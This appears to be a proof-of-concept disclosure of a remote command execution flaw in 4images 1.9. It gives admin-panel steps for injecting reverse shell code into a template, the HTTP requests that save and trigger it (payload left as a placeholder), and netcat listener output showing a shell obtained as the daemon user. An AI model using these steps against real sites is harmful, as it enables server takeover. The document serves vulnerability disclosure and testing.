Authored by Andrey Stoykov

4images version 1.9 suffers from a remote command execution vulnerability.

# Exploit Title: 4images 1.9 - Remote Command Execution
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.9
# Tested on: Ubuntu 20.04


To reproduce do the following:

1. Login as administrator user
2. Browse to "General" -> " Edit Templates" -> "Select Template Pack" -> "default_960px" -> "Load Theme"
3. Select Template "categories.html"
4. Paste reverse shell code
5. Click "Save Changes"
6. Browse to "http://host/4images/categories.php?cat_id=1"


// HTTP POST request showing reverse shell payload

POST /4images/admin/templates.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]

__csrf=c39b7dea0ff15442681362d2a583c7a9&action=savetemplate&content=[REVERSE_SHELL_CODE]&template_file_name=categories.html&template_folder=default_960px[...]



// HTTP redirect response to specific template

GET /4images/categories.php?cat_id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]

# nc -kvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43032
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64 GNU/Linux
13:54:28 up 2:18, 2 users, load average: 0.09, 0.68, 0.56
USER TTY FROM [email protected] IDLE JCPU PCPU WHAT
kali tty7 :0 11:58 2:18m 2:21 0.48s xfce4-session
kali pts/1 - 11:58 1:40 24.60s 0.14s sudo su
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$